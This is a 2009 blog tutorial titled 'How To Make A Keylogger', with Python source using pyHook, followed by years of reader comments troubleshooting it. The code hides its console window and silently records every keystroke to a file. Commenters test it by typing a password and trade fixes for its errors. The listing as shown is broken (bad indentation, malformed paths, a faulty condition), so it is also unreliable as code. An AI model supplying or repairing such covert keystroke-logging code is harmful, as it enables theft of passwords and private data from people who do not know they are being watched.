How To Make A Keylogger

Avatar davisde | September 11, 2009

13 Views 0 Ratings Rate it

KEYLOGGER SOURCECODE AND

Download Python: http://www.python.org/

– Download Pyhook: pyhook.sourceforge.net

– Download Python for Windows Extensions: http://sourceforge.net/projects/pywin32/

SOURCE:

import win32api
import win32console
import win32gui

import pythoncom, pyHook

win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win,0)

def OnKeyboardEvent(event):
 if event.Ascii==5:
        
_exit(1)

 if event.Ascii != 0 or 8:
 f=open('c:output.txt','r')
       
 buffer=f.read()
 f.close()
        
f=open('c:output.txt','w')
 keylogs=chr(event.Ascii)
       
 if event.Ascii==13:
 keylogs='/n'
 buffer += 
keylogs
 f.write(buffer)
 f.close()

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

Comments

This post currently has 38 responses.

  1. George

    April 20, 2011 at 9:29 am

    I have a little problem with the programming steps…when i saved the file appear “NON-ASCII found, yet no endocing declared, add a line like # -*- coding: cp1252 -*- “…..what should i do? HELP ME PLEASE…i have windows vista…and i already had the programs installed what’s wrong?

  2. j.wayne

    June 8, 2011 at 10:58 pm

    yea, im having the same issue as george with the “NON-ASCII found, yet no endocing declared, add a line like # -*- coding: cp1252 -*- “…..im running windowa 7 via bootcamp on a macbook pro

  3. curious guy

    November 8, 2011 at 12:52 am

    Everybody complains about nothing.
    These fantastic guys provided a FREE source code and all you do is complain.
    I really dont know nothing about programing, but it was easy to me, when I didnt found the output.txt, to create it my self.
    Try to do that and see that everything you type will be written on that file.
    Lasy guys! Think a little. Have some respect for those who give all expecting nothing.

    By the way, THABK you all that provide this code.

  4. theerandomeerz

    December 31, 2011 at 11:06 am

    Alright Please Reply 2 This, Ik there is alot of people complaining about the output.txt file, i created one but it still won’t send the data into the file..Please tell me how to fix.
    – Thanks in Advance

  5. Jeremy

    January 13, 2012 at 12:35 am

    Hey i did EXACTLY whAT you said, but there is no out.txt file, it may be because i have te python 2.7 but i’m not sure. please reply A.S.A.P, it be better to e-mail me.

  6. Sarthax

    June 2, 2012 at 5:36 am

    I presume no knowledge of programming in the slightest, but I think I found out how to work it. I carefully followed the instructions, even the arduous task of downloading Python for Windows Extensions. When that didn’t work, I checked these comments and found that saving the file as logger.py3 didn’t work. For my certain case, inserting an output.txt alone didn’t work. What I ended up doing was taking a screenshot of the window that pops-up for a split second once you click on the logger.py file in and found that [again, I don’t know ANYTHING about programming] it said something along the line of finding an error on line 13 about an indent. So, I checked through the logger.py file and rearranged the indents in the logger.py to match the one in the video, because I copy-pasted the code like almost everyone else. Well, after I restarted the program and inserted the output.txt file, it worked. Although, I’m not sure if this was intended or not, but the program would interpret a single keystroke as about 20. So the test message “The password is swordfish” was transformed into “TTTTTTTTTTTTHHHHHHHHHHHHHHHHeeeeeeeeeeeeee pppppppppppppaaaaaaassssssswwwwwwooooooorrrrrrdddddddd iiiiiiiiiisssssssssssss sssssssswwwwwwwwooooooorrrrrrrddddddfffffffffffffiiiiiiissssssssssshhhhhhhhh”

  7. RedPhoneBooth

    June 8, 2012 at 4:08 am

    Hey, I am also having the problem where the program cant find the file ‘output.txt’. I am running vista and I have tried creating the file in C:/ for it but it does not seem to work. Thanks in advance for the help!

  8. brandon1181

    June 19, 2012 at 8:20 am

    the tutorial works i find everything i need you guys are doing it wrong just re watch it make sure everything is set where its suppose to be ( btw i have used every tutorial he has )

    • Cold Diamondz

      August 21, 2013 at 3:46 pm

      Look at the directory… C: DOES NOT EXIST do C:\ and then the file, it was just a typo, but try to look at the code to make sure that there is no typos.

  9. procrafthd

    November 28, 2012 at 6:44 pm

    When im testing it i try to run it no cmd pops up but i start typing and i press CTRL+E i go to my folder that ive set the output.txt to and nothing appears ive even tried putting output.txt in there please help.
    Thank You In Advance

  10. Z J

    April 19, 2013 at 5:12 pm

    hey, i need help.. first off, i have version python 2.7 but that shouldnt matter.. anyways.. when i try to save it to :c\ , it wont let me.. so i need to save it in the python27 folder.. there is the logger then, when i start it, the black thing pops up for a sec, then disappears, as it should.. but when i press control+E, it doesnt make the output.txt file there? i tried changing this part f=open(‘c:\output.txt’,’r’) to that too
    f=open(‘c:\Python27\output.txt­’,’r’) but still nothing..help?

  11. Cold Diamondz

    August 22, 2013 at 2:22 am

    Every can stop complaining, the problem you guys have are just easy-to-fix typos, use common sense people, check the source before using it, you might get a virus source run it, and destroy your computer, just read and try to understand it, if you don’t understand it, send it to a programmer that would and they’ll tell you what it does and how it does what it is doing, don’t just leave comment saying “This tutorial is stupid, don’t use this tutorial guys, it’s stupid!” Instead, work it out.

Leave a Reply


Please disable your adblocker or whitelist this site!